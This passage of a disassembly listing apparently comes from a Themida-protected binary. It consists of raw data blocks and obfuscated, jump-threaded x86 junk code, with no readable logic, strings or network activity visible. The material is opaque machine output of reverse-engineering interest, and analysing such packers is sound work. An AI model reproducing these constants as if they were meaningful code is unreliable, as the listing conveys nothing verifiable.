		dd 963CDE0Dh, 15E95779h, 87000094h, 0D9C0E9F5h,	0EC83FFFFh
		dd 0AE9CE904h, 2C8BFFFFh, 4C48324h, 4B07CD81h, 0B95149CBh
		dd 36325A25h, 0F1814141h, 515016A7h, 7A3F181h, 0CD313E8Dh
		dd 0E9240C8Bh, 39B7h, 4C681h, 0E9550000h, 0FFFFF7DDh, 81240C8Bh
		dd 4ECh, 24048900h, 5055E089h, 195EBBB8h, 14446879h, 4890000h
		dd 20A8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C08E:				; CODE XREF: Themida_:0055A4AFj
		xchg	ecx, [esp]
		not	ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		pop	esi
		jmp	loc_559CB9
; ---------------------------------------------------------------------------


loc_55C0A2:				; CODE XREF: Themida_:00564558j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_561E03
; ---------------------------------------------------------------------------
		dd 5004C483h, 9DE957B0h, 0FEFFFFBEh, 0B65266C7h, 66F728FFh
		dd 685Ah, 3C280000h, 243C8A24h,	0E904C483h, 0FFFF633Bh
; ---------------------------------------------------------------------------


loc_55C0E0:				; CODE XREF: Themida_:0055A8ABj
		add	edi, esi
		pop	esi
		add	edi, 4
		jmp	loc_556BC9
; ---------------------------------------------------------------------------


loc_55C0EE:				; CODE XREF: Themida_:00556EB0j
		mov	[esp], ebx
		jmp	loc_56602F
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 240C3324h, 148B665Ch, 8B545224h, 0C4832414h,	4C28104h
		dd 55000000h, 0FFDCB4E9h, 8BFD88FFh, 8957241Ch,	4C781E7h
		dd 0E9000000h, 0FFFF6D8Bh
; ---------------------------------------------------------------------------


loc_55C128:				; CODE XREF: Themida_:005537C4j
		pop	eax
		mov	edi, 61B66B56h
		xor	edi, ebx
		pop	ebx
		or	ebx, edi
		pop	edi
		sub	ebx, 0FFFFFFFFh
		shr	ebx, 8
		jmp	loc_5645AF
; ---------------------------------------------------------------------------


loc_55C142:				; CODE XREF: Themida_:00553BFDj
		pop	ecx
		push	esi
		mov	esi, 724F36C2h
		shl	esi, 6
		shr	esi, 6
		neg	esi
		not	esi
		shl	esi, 4
		add	esi, 17BCB32Eh
		or	ebx, esi
		pop	esi
		jmp	loc_55C503
; ---------------------------------------------------------------------------
		dd 4C481h, 0BD550000h, 5AD42469h, 0FF6F83E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C175:				; CODE XREF: Themida_:0055AD4Dj
		sub	esi, 5231480Dh
		jmp	loc_564E70
; ---------------------------------------------------------------------------


loc_55C180:				; CODE XREF: Themida_:00552F34j
		pop	ecx
		push	edx
		mov	edx, 7C48082Eh
		xor	ebx, edx
		pop	edx
		and	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 0FFFFFFFFh
		jmp	loc_554118
; ---------------------------------------------------------------------------
		dd 243C895Ch, 0C781E789h, 4, 4EC8350h, 0BB241C89h, 4AF058FDh
		dd 34FBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C1BD:				; CODE XREF: Themida_:0055F953j
		xchg	ecx, [esp]
		mov	ebp, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_56229F
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 1BC9E9h, 0ED814D00h,	0E368DCC3h, 2C8BEE09h, 4C48124h
		dd 81000000h, 44370BCEh, 11F6813Ch, 51255C41h, 5D8156B9h
		dd 0B2CDE9A5h, 0C8BFFFFh, 4C48124h, 0E9000000h,	5B4h
; ---------------------------------------------------------------------------


loc_55C210:				; CODE XREF: Themida_:0055CD8Fj
		push	esi
		mov	esi, 394A075Bh
		xor	esi, 4557011Ch
		shl	esi, 5
		jmp	loc_55B833
; ---------------------------------------------------------------------------
		dd 4C481h, 0FFE90000h, 5CFFFFC2h, 1E54E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C236:				; CODE XREF: Themida_:0055F534j
		pop	edx
		push	dword ptr [esp]
		jmp	loc_560C84
; ---------------------------------------------------------------------------
		db 89h
		dd 5EBB241Ch, 0C16DB64Ch, 0EC8308EBh, 240C8904h, 3C2F8EB9h
		dd 0D8F79167h, 16E18191h, 8141FE0Ah, 0AABE91E9h, 59CB291Dh
		dd 815BDA29h, 88EC33EAh, 8BD03198h, 0C4832414h,	92D7E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C27E:				; CODE XREF: Themida_:00561D53j
		mov	[esp], edx
		add	dword ptr [esp], 62B65EE0h
		pop	ecx
		sub	ecx, 62B65EE0h
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	edi
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55FCF3
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0BB60F38Dh, 0FFE374E9h, 14E957FFh, 81000081h, 1C2031C7h
		dd 0BE565A21h, 4, 348BF729h, 4C48324h, 8B243C87h, 0C892424h
		dd 81595424h, 4C1h, 1BBE5600h, 0E9061A34h, 8CBAh, 241C895Ch
		dd 7C66B850h, 54816C2h,	630BAC71h, 2D58E9h, 54EB8100h
		dd 14B740Ch, 7DA1E9EBh,	1C89FFFFh, 815B5424h, 4C3h, 4C38100h
		dd 33000000h, 1C31241Ch, 549DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C336:				; CODE XREF: Themida_:00555CFDj
		mov	ebx, esp
		add	ebx, 4
		push	esi
		jmp	loc_562223
; ---------------------------------------------------------------------------
		dd 0FF52DFE9h, 241489FFh, 4EC81h, 24890000h, 5D00E924h
		dd 489FFFFh, 3E6BB824h,	0E8C1710Dh, 2BBB5305h, 814D8F4Dh
		dd 0C3443EE3h, 0F7EB876Ah, 81EB87D5h, 0F757D0C3h, 5BD8214Bh
		dd 6021BE56h, 0E6813FB6h, 32193676h, 1D1FE9h, 4C38100h
		dd 87000000h, 315C241Ch, 0E9C231C3h, 0FFFF5284h, 0F92873B7h
		dd 11E95B66h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C3AF:				; CODE XREF: Themida_:005521E1j
		add	ecx, 39B04BB7h
		jmp	loc_55FDB1
; ---------------------------------------------------------------------------


loc_55C3BA:				; CODE XREF: Themida_:0055D1DEj
		add	ebx, 1C75CDFDh
		jmp	loc_554EA4
; ---------------------------------------------------------------------------
aAqzsdb		db '^¹œaïZé¤b',0
		align 10h


loc_55C3D0:				; CODE XREF: Themida_:00551BBFj
		shl	ebx, 6
		neg	ebx
		neg	ebx
		sub	ebx, 1825FE33h
		add	eax, 5FDB6E14h
		jmp	loc_55AA87
; ---------------------------------------------------------------------------
		db 81h
		dd 1B8A2434h, 815B7AF4h, 0F41B8AF3h, 0D989597Ah, 5982055Bh
		dd 0A1E96B93h, 52000039h, 884CB050h, 24048BC2h,	804C483h
		dd 24148BD4h, 8004C483h, 0E3E941F4h, 59FFFF98h,	0FD685650h
		dd 5E238B27h, 8105EEC1h, 99F1CBEEh, 5EF089DDh, 0E9585650h
		dd 7EE3h, 5C240C87h, 6301BF57h,	0FB2972E2h, 36E1E9h, 241C8700h
		dd 243C895Ch, 0BD55E789h, 4, 835DEF01h,	3C3304EFh, 243C3124h
		dd 8B243C33h, 3C892424h, 8083E924h, 48FFFFFh, 13685C24h
		dd 89000077h, 0E789243Ch, 4C781h, 0C7810000h, 4, 9BE0E957h
		dd 8759FFFFh, 248B2404h, 24048F24h, 2414895Ch, 0D0302BB2h
		dd 5124148Bh, 0FFEAEAE9h, 5E1C1FFh, 86C18141h, 811E8113h
		dd 30E4FCC1h, 0BCE9533Eh, 0BB000051h, 4, 875BDA29h, 0C9E92414h
		dd 0D3FFFFFCh, 0E99C2404h, 0FFFF5148h, 4C681h, 34330000h
		dd 24343124h, 0FF58B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C4F1:				; CODE XREF: Themida_:00560486j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebp, 4
		jmp	loc_5644B5
; ---------------------------------------------------------------------------


loc_55C503:				; CODE XREF: Themida_:0055C15Fj
		add	ebx, 0AEB32A6h
		sub	eax, ebx
		pop	ebx
		jmp	loc_555F67
; ---------------------------------------------------------------------------


loc_55C511:				; CODE XREF: Themida_:00556A36j
		add	esp, 4
		jmp	loc_562BAF
; ---------------------------------------------------------------------------


loc_55C519:				; CODE XREF: Themida_:00558FB9j
		pop	dword ptr [esp]
		not	edi
		xchg	edi, [esp]
		pop	edi
		dec	edi
		push	ebp
		jmp	loc_5627F2
; ---------------------------------------------------------------------------
		db 1, 0D0h, 5Ah
		dd 8B240487h, 4312424h,	0EDE99C24h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C53B:				; CODE XREF: Themida_:005578FCj
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_562B33
; ---------------------------------------------------------------------------
		dd 2F3E381h, 0F3814F91h, 683873C0h, 2D5BD831h, 0CC165DA9h
		dd 8358C609h, 2C8904ECh, 5EFBBD24h, 0EE314EBFh,	8BEF815Dh
		dd 810B5F69h, 3D403DEFh, 539CE933h, 0CE810000h,	1A28468Dh
		dd 0A8D4F681h, 0BBE9AA45h, 8100004Ah, 890682E3h, 0FEEB817Dh
		dd 1010901h, 3CE95BDDh,	66000069h, 70D9E952h, 348BFFFFh
		dd 7F8A6824h, 53E90000h, 66FFFFFDh, 2247401h, 246C8166h
		dd 0E91B4502h, 2646h, 0FAEB80h,	570BE9C3h, 1C05FFFFh, 8B7B003Ch
		dd 0C483240Ch, 24043304h, 33240431h, 248B2404h,	240CD224h
		dd 9FDCE99Ch, 585A0000h, 148BD689h, 0E1895124h,	0B37BB53h
		dd 0CB817AE7h, 5D9F0289h, 0FFBE6FE9h, 5BDE01FFh, 835EF301h
		dd 0EC8104EBh, 4, 0FF241C89h, 0E9042474h, 4FAAh, 0BA52D5F7h
		dd 1FE66D28h, 67E9D521h, 5300001Bh, 0FF7741E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C64D:				; CODE XREF: Themida_:005606D6j
		mov	ebp, esp
		push	eax
		mov	eax, 7F423AE8h
		or	eax, 341E6B9Bh
		shr	eax, 4
		push	eax
		not	dword ptr [esp]
		pop	eax
		inc	eax
		jmp	loc_563386
; ---------------------------------------------------------------------------


loc_55C668:				; CODE XREF: Themida_:0055BF49j
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0Ah
		jmp	loc_55F5D9
; ---------------------------------------------------------------------------
		dd 5FFE8966h, 9B0CE951h, 0B8500000h, 4,	4246C81h, 34303855h
		dd 4244401h, 4244481h, 34303855h, 8124048Bh, 4C4h, 4055800h
		dd 56000000h, 4BEh, 5EF00100h, 8904EC83h, 74FF2404h, 8F580424h
		dd 248B2404h, 1F286824h, 0C890000h, 82EB924h, 0C7683311h
		dd 89000017h, 0DF68241Ch, 89000047h, 0EC832434h, 24148904h
		dd 9C5DF768h, 0E2C15A62h, 2109E906h, 0EAC10000h, 52F28102h
		dd 316ACF62h, 0F1E95AD7h, 5C000027h, 53E968h, 242C8900h
		dd 0FFB970E9h, 33B951FFh, 0E97E3605h, 0FFFF4F36h
; ---------------------------------------------------------------------------


loc_55C720:				; CODE XREF: Themida_:00556408j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55CFE9
; ---------------------------------------------------------------------------


loc_55C731:				; CODE XREF: Themida_:0055F2F8j
		push	3C4Fh
		mov	[esp], eax
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 74137F1Dh
		jmp	loc_55679C
; ---------------------------------------------------------------------------
		db 5Dh,	52h, 0E9h
		dd 0FFFF7CCBh, 0B9240C89h, 7F2B2571h, 9432E9h, 4EC8300h
		dd 0E9242489h, 1A7Eh
; ---------------------------------------------------------------------------


loc_55C76C:				; CODE XREF: Themida_:00560C8Cj
		mov	ebx, 218352C2h
		inc	ebx
		jmp	loc_5550D6
; ---------------------------------------------------------------------------


loc_55C777:				; CODE XREF: Themida_:005570F8j
		xor	edx, 4289714Ch
		jmp	loc_553067
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 0E904EC83h, 844Ch,	8704E983h, 5DE9240Ch, 51FFFFFBh
		dd 31B85056h, 8966994Dh, 970FE9C6h, 0C483FFFFh,	24348B04h
		dd 8104C483h, 4ECh, 5797E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C7BE:				; CODE XREF: Themida_:00566485j
		push	edx
		jmp	loc_55E401
; ---------------------------------------------------------------------------
		dd 6824048Fh, 22DCh, 51241C89h,	0BC0AC868h, 44B7E918h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C7DA:				; CODE XREF: Themida_:00565DAAj
		mov	[esp], eax
		jmp	loc_55F539
; ---------------------------------------------------------------------------
		dw 0EFBDh
		dd 45057A70h, 5AAACD81h, 0C5810EECh, 53858CF4h,	2C8BEF29h
		dd 1816E924h, 24890000h, 24048124h, 4, 8B2434FFh, 0C4832404h
		dd 4C48104h, 57000000h,	0FF8EACE9h, 585450FFh, 8904EC83h
		dd 0DDBB241Ch, 0C143CF3Ah, 3BE904E3h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C833:				; CODE XREF: Themida_:0056363Fj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55CFCD
; ---------------------------------------------------------------------------


loc_55C83C:				; CODE XREF: Themida_:0056636Fj
		sub	bl, 34h
		movzx	eax, al
		jmp	loc_5548E8
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2404h, 58542404h, 81E28952h, 4C2h, 4EA8300h, 0E9241487h
		dd 3288h
; ---------------------------------------------------------------------------


loc_55C864:				; CODE XREF: Themida_:0055E29Ej
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	2ED4h
		mov	[esp], eax
		jmp	loc_5537B7
; ---------------------------------------------------------------------------
		db 5Fh,	57h, 0BFh
		dd 2, 0E95FF801h, 8F05h, 7BAC68h, 804AE900h, 0EE31FFFFh
		dd 0FF5075E9h, 51D801FFh, 83685652h, 5E6FF90Bh,	28F5C681h
		dd 0F289E20Ch, 95EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C8B5:				; CODE XREF: Themida_:00565ABDj
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	3471h
		mov	[esp], esi
		push	419037F4h
		pop	esi
		xor	[esp+4], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5610A4
; ---------------------------------------------------------------------------
		dd 7D4CEF81h, 815826D0h, 4EFh, 243C3300h, 5EC5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C8F9:				; CODE XREF: Themida_:00553CE1j
		add	ebx, eax
		pop	eax
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	3183h
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	1B4h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 34AE026Fh
		mov	ebx, 54CF6367h
		xor	ebx, ebp
		pop	ebp
		jmp	loc_564CE0
; ---------------------------------------------------------------------------
		db 80h
		dd 0EB2816C3h, 5916EB80h, 0AFCE9h, 58C30100h, 8704EB83h
		dd 248B241Ch, 242C8924h, 2041DABDh, 0A56E97Eh, 0BE560000h
		dd 67DF90Fh, 215EF501h,	0E9C15DE9h, 56574903h, 6A582368h
		dd 0A45E91Ah, 21680000h, 89000021h, 52532434h, 63BFE950h
		dd 0EC810000h, 4, 89243489h, 4C681E6h, 81000000h, 4C6h
		dd 74FF5600h, 0E95E0424h, 0FFFFFABEh, 5C241487h, 633B68h
		dd 24348900h, 0FE2C8ABEh, 3ECE814Fh, 682F6D0Bh,	7628h
		dd 0E9240489h, 23EAh, 0E747B850h, 0C381E108h, 449D49B5h
		dd 0EB81C329h, 449D49B5h, 8B2434FFh, 0E9512404h, 4A7Dh
		dd 0EF81DF01h, 31E30F4Dh, 243C335Bh, 0E9243C31h, 7570h
		dd 0D8E9505Ch, 0BE00003Bh, 4, 61770F2Dh, 0E9F00104h, 2A6Fh
; ---------------------------------------------------------------------------


loc_55CA28:				; CODE XREF: Themida_:00556759j
		shr	ebp, 3
		xor	ebp, 1E34DB8h
		sub	ebp, 4DA6E8Eh
		sub	ebx, 20B86CC0h
		add	ebx, ebp
		add	ebx, 20B86CC0h
		pop	ebp
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		push	3465h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_563380
; ---------------------------------------------------------------------------
		db 81h
		dd 0F1010EBh, 98E981FDh, 0E92C765Fh, 0FFFF6505h, 1D470668h
		dd 83A2E932h, 0BD55FFFFh, 2, 0FFB73EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CA89:				; CODE XREF: Themida_:0055EF92j
		add	dword ptr [esp], 2A770997h
		pop	edx
		jmp	loc_559133
; ---------------------------------------------------------------------------


loc_55CA96:				; CODE XREF: Themida_:00558EBEj
		mov	dl, 48h
		neg	dl
		or	dl, 4Ah
		jmp	loc_55AD7E
; ---------------------------------------------------------------------------


loc_55CAA2:				; CODE XREF: Themida_:0056100Dj
		add	esp, 4
		sub	ebx, 7578407Ch
		mov	esi, ebx
		pop	ebx
		add	edx, esi
		pop	esi
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_55B73B
		push	28EBh
		mov	[esp], eax
		push	49B6h
		mov	[esp], esi
		push	547D0EF3h
		pop	esi
		push	edx
		mov	edx, 2BAE2E1Dh
		jmp	loc_55B01E
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 42474FFh, 24048F59h,	2434895Ch, 36FD6853h, 0C15B712Dh
		dd 0DBE907E3h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CB03:				; CODE XREF: Themida_:0055B065j
		mov	esi, eax
		jmp	loc_562157
; ---------------------------------------------------------------------------
		dw 0FBDh
		dd 0E932DF4Dh, 0FFFFA993h
; ---------------------------------------------------------------------------


loc_55CB14:				; CODE XREF: Themida_:0055FB8Bj
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_556E43
; ---------------------------------------------------------------------------
aSsF		db 'Sé½f',0
		align 4


loc_55CB34:				; CODE XREF: Themida_:0055438Fj
		add	edi, 38AB4B93h
		add	edi, ebp
		jmp	loc_55252E
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0E314A668h, 0C5815D05h, 2C7A3778h, 0E9EE8956h, 0FFFF9678h
		dd 64ACBE56h, 0F3095073h, 2CC3815Eh, 0E930AB96h, 0FFFF8180h
		dd 815DE901h, 4E9h, 240C8700h, 240C895Ch, 21AAB850h, 0E2E96F5Bh
		dd 89FFFFEEh, 8FE9242Ch
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CB8F:				; CODE XREF: Themida_:0055629Ej
		pop	ecx
		add	esp, 4
		jmp	loc_560086
; ---------------------------------------------------------------------------


loc_55CB98:				; CODE XREF: Themida_:0055A0F2j
		push	edi
		push	ecx
		push	4FCE53B0h
		jmp	loc_55CD41
; ---------------------------------------------------------------------------


loc_55CBA4:				; CODE XREF: Themida_:0056290Bj
		add	ebx, 5C476136h
		add	ebx, 49E66BD8h
		xor	ebx, 4D8F4384h
		push	ebp
		mov	ebp, 3A707558h
		shl	ebp, 6
		push	0
		sub	[esp], ebp
		pop	ebp
		jmp	loc_55B715
; ---------------------------------------------------------------------------
aI4Ht0nSP	db '‰4$h’0n/éÅp',0
		align 2
		dw 1489h
		dd 81E28924h, 4ECh, 24348900h, 0CA6C4DBEh, 4EEC126h, 3096CE81h
		dd 9EE92E03h, 81000078h, 2A4110C1h, 6DC18108h, 8367E852h
		dd 0E98101C1h, 29DA7C10h, 2D32E981h, 0C82154C0h, 0FFC08359h
		dd 6240BF57h, 0F83154DFh, 0E9C2315Fh, 0FFFF96ABh, 4BDh
		dd 0BBC68100h, 814FB812h, 800858EEh, 9FE9E972h,	0E952FFFFh
		dd 0FFFFAE04h, 0FE30E95Dh, 0E5B9FFFFh, 0E94ADE03h, 22Ah
; ---------------------------------------------------------------------------


loc_55CC58:				; CODE XREF: Themida_:0055FAC8j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55EDAE
; ---------------------------------------------------------------------------
aLHpc		db '‹$$hpC',0
		dd 240C8900h, 764E68h, 0E092E900h, 0BA52FFFFh, 2A910BE6h
		dd 0FFEA9BE9h, 5C829FFh, 0B6500CFh, 6CE1BA52h, 0D0017282h
		dd 240C8B5Ah, 0DA568h, 24048900h, 405E089h, 51000000h
		dd 0D893E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CCAA:				; CODE XREF: Themida_:00556325j
		inc	esi
		sub	esi, 7BB05F6Ah
		xor	ebp, esi
		jmp	loc_5607F8
; ---------------------------------------------------------------------------
		dd 4BBh, 8BDF0100h, 0F8E9241Ch
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CCC7:				; CODE XREF: Themida_:00562190j
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esi, 7DB82526h
		sub	esi, edx
		add	esi, 7DB82526h
		jmp	loc_565C66
; ---------------------------------------------------------------------------
		dd 0AE68C5B8h, 0F7D8F704h, 0B6705D0h, 0B8E957BEh, 81000061h
		dd 4C3h, 4BA5200h, 0E9000000h, 0FFFF8B89h
; ---------------------------------------------------------------------------


loc_55CD04:				; CODE XREF: Themida_:00565E9Fj
		pop	esp
		mov	[esp], eax
		sub	dword ptr [esp], 4FA80199h
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 4FA80199h
		push	dword ptr [esp]
		jmp	loc_551D42
; ---------------------------------------------------------------------------
		db 68h,	35h, 1Fh
		dd 0C890000h, 0BE565324h, 0FEh,	0C9E9F389h, 0B8FFFF5Fh
		dd 1BD769A4h, 0FF84F0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CD41:				; CODE XREF: Themida_:0055CB9Fj
		pop	ecx
		shl	ecx, 1
		sub	ecx, 67402D1Fh
		sub	ecx, 0D7B2590Dh
		mov	edi, ecx
		pop	ecx
		jmp	loc_560846
; ---------------------------------------------------------------------------


loc_55CD58:				; CODE XREF: Themida_:005632B5j
		xor	eax, 5A2A2374h
		inc	eax
		xor	eax, 2EC03472h
		add	eax, 501D72B4h
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_557916
; ---------------------------------------------------------------------------


loc_55CD78:				; CODE XREF: Themida_:00561055j
		pop	edx
		add	edi, edx
		pop	edx
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		neg	ebx
		jmp	loc_55C210
; ---------------------------------------------------------------------------
		dd 0E941EC80h, 0FFFF7494h, 4C481h, 0BB530000h, 4BD5742Eh
		dd 1DE9D829h, 8BFFFFDDh, 6F682414h, 8900002Eh, 0E9542404h
		dd 0FFFFD613h, 453FF305h, 391A687Eh, 3C890000h,	7F23BF24h
		dd 7C291F7Eh, 15F0424h,	6E682404h, 0E9000045h, 74D6h, 405h
		dd 40500h, 4870000h, 77E95C24h,	1FFFFAAh, 81042454h, 9204246Ch
		dd 81767723h, 0F104246Ch, 5A169A13h, 1AB02D58h,	1C8B3CBBh
		dd 4C48124h, 31000000h,	58042444h, 0E92434FFh, 21A5h, 0A52115B9h
		dd 0B01DE94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CE32:				; CODE XREF: Themida_:005581A3j
		add	edi, 4
		jmp	loc_55AF91
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4BB24h, 0E9810000h, 54C0502Bh, 4E91C181h, 0EDE947B8h
		dd 8B000027h, 34892424h, 90BD5524h, 0E9161215h,	92B0h
		dd 16AEE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CE6A:				; CODE XREF: Themida_:0055FD45j
		mov	edi, [esp]
		add	esp, 4
		inc	ebx
		push	esi
		push	ecx
		mov	ecx, 63E82FC3h
		mov	esi, ecx
		jmp	loc_563E1B
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 32665315h, 0FF5466E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CE8D:				; CODE XREF: Themida_:0055D7E8j
		push	ebp
		mov	ebp, 79415D74h
		jmp	loc_55BC49
; ---------------------------------------------------------------------------
		dd 0E99CC885h, 0FFFF4788h, 0F2E9575Ah, 80000088h, 0D8288CEBh
		dd 83241C8Bh, 0A7E904C4h, 66000046h, 0E924048Bh, 5DB8h
		dd 0EF81F729h, 54C6618Ah, 0FF590DE9h, 0E18951FFh, 4C181h
		dd 0BA520000h, 4, 875AD129h, 63E9240Ch,	66FFFF57h, 0EF816647h
		dd 81665FD7h, 0E9B4BEF7h, 0FFFFF780h
; ---------------------------------------------------------------------------


loc_55CEF8:				; CODE XREF: Themida_:0055325Aj
		push	5D9h
		mov	[esp], ebx
		mov	ebx, 5623996h
		jmp	loc_561833
; ---------------------------------------------------------------------------
		dw 0E968h
		dd 8900002Fh, 2B82404h,	50000000h, 637DB951h, 0C8894041h
		dd 3EFD0559h, 0BA5200DFh, 7F040955h, 34FFD021h,	14E1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF36:				; CODE XREF: Themida_:0055179Fj
		add	ebx, esi
		pop	esi
		add	ebx, esi
		sub	ebx, 0D7C1129h
		pop	esi
		add	ebx, 4
		jmp	loc_55E4A7
; ---------------------------------------------------------------------------
		dw 7401h
		dd 0BE560824h, 5F512AFDh, 6DC4E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF5A:				; CODE XREF: Themida_:0055FCB8j
		push	ebp
		jmp	loc_55B06A
; ---------------------------------------------------------------------------


loc_55CF60:				; CODE XREF: Themida_:00559706j
		add	ebp, 4
		jmp	loc_56285F
; ---------------------------------------------------------------------------


loc_55CF6B:				; CODE XREF: Themida_:00553C68j
		add	edx, edi
		pop	edi
		mov	ebx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	ecx
		jmp	loc_55A06A
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 81h
		dd 69E985EBh, 0E9D829ABh, 0FFFFF00Fh, 50FF6852h, 4890000h
		dd 6D3B824h, 0E9502D4Ch, 0FFFFF64Eh, 5200F581h,	55535281h
		dd 56241C8Bh, 93FCE9h, 240C8B00h, 8D45E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CFCD:				; CODE XREF: Themida_:0055C837j
		shl	edi, 7
		push	esi
		mov	esi, 0EFBC6E00h
		jmp	loc_556EA5
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF4648h, 5104C483h, 0FF59E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CFE9:				; CODE XREF: Themida_:0055C72Cj
		xor	esi, [esp]
		pop	esp
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5633A1
; ---------------------------------------------------------------------------
		dd 9C2404D2h, 8617E9h, 10E95500h, 0C100007Bh, 0EB8107E3h
		dd 1, 1135F381h, 0DD29B33Ah, 4577E9h, 0CE885A00h, 76CFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D025:				; CODE XREF: Themida_:005623C1j
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		push	dword ptr [esp]
		jmp	loc_5584E4
; ---------------------------------------------------------------------------
		db 89h
		dd 0B14FE9E3h, 0C381FFFFh, 2DAF4945h, 72EEEB81h, 8F6633B1h
		dd 45D6E900h, 5966FFFFh, 80E9F100h, 81000047h, 0A91271EEh
		dd 81D60172h, 0A91271C6h, 0BD555A72h, 32150E0Bh, 505DEE29h
		dd 0BD7E951h, 478F0000h, 45A6E940h, 685CFFFFh, 22A3h, 0BE243489h
		dd 3D93358Dh, 0FF48B6E9h, 40558FFh, 5000000h, 4, 5C240487h
		dd 0FFADCEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D0A9:				; CODE XREF: Themida_:0055F5D4j
		not	ebp
		xchg	ebp, ebx
		xchg	ebx, [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55E4FE
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 48704C0h,	0F0015C24h
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55F5FD
; ---------------------------------------------------------------------------
		db 51h,	5Ah, 8Bh
		dd 0DE9240Ch
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D0DF:				; CODE XREF: Themida_:0056016Dj
		add	esp, 4
		jmp	loc_555D31
; ---------------------------------------------------------------------------


loc_55D0E7:				; CODE XREF: Themida_:0056157Dj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
